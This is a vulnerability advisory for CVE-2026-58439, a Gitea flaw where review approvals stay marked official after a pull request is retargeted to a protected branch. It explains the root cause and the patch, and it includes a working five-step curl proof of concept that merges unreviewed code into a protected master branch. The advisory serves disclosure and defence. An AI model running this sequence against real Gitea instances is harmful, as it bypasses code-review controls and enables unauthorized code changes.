CVE-2026-58439: Gitea Branch Protection Bypass via PR Retargeting
A Gitea user with write access can get a pull request approved against an unprotected branch, then silently redirect that PR to a protected branch, and merge it without any legitimate approver ever re
The problem
When a pull request review is submitted, Gitea computes an `official` boolean by checking whether the reviewer is in the target branch's approval whitelist. That value is stored in the database on the review record.
When the PR's target branch is later changed via `ChangeTargetBranch` in `services/pull/pull.go`, Gitea updates `pr.BaseBranch` but never touches existing reviews. At merge time, `GetGrantedApprovalsCount` in `models/issues/pull.go` counts rows where `official = true AND dismissed = false AND type = Approve`, reading the stale stored value without re-checking the new branch's whitelist.
An attacker with write (not admin) access can exploit this to merge code into a protected branch without any whitelisted approver reviewing it.
Proof of concept
A working proof-of-concept for CVE-2026-58439 in code.gitea.io/gitea, with the exact payload below.
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"
# 1. Create an unprotected branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Open PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"head": "malicious-branch", "base": "tmp-unprotected", "title": "Add feature"}'
# Note the returned PR number as N
# 3. Approve the PR (official=true because tmp-unprotected is unprotected)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response: {"official": true, "dismissed": false, "state": "APPROVED"}
# 4. Retarget the PR to protected master (approval stays official=true)
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 5. Merge succeeds despite no whitelisted approver
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'The root cause is that `official` is computed once at review submission time against the then-current `pr.BaseBranch`, then persisted as a raw boolean. `ChangeTargetBranch` (CWE-863: Incorrect Authorization) mutates the base branch without invalidating those stored values.
At merge time, `GetGrantedApprovalsCount` performs a simple SQL count on the stored boolean, so a stale `official=true` from an unprotected branch satisfies the protected branch's required-approvals gate. The patch (PR #38319, commits `74ad781` and `8401fe7`) adds a re-evaluation loop inside `ChangeTargetBranch` that calls `IsUserOfficialReviewer` against the new branch's protection rules and updates each review's `official` column accordingly before the function returns.
The fix
Upgrade to Gitea 1.27.0. The fix is in `services/pull/pull.go`: after `pr.BaseBranch` is updated, `ChangeTargetBranch` now iterates all existing approve-type reviews, re-evaluates `official` against the new branch's whitelist via `IsUserOfficialReviewer`, and persists any changes before returning.
No configuration change is required beyond upgrading.
Reported by yonatan-pl.
Related research
- high · 8.8CVE-2026-27775CVE-2026-27775: Gitea Pre-Receive Hook Authorization Bypass via Cached Branch Permission
- high · 8.1CVE-2026-55987CVE-2026-55987: Gitea OAuth2 Sign-In Reactivates Admin-Deactivated Accounts
- high · 8.9CVE-2026-58424CVE-2026-58424: Gitea Actions Fork PR Approval Gate Permanent Bypass
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream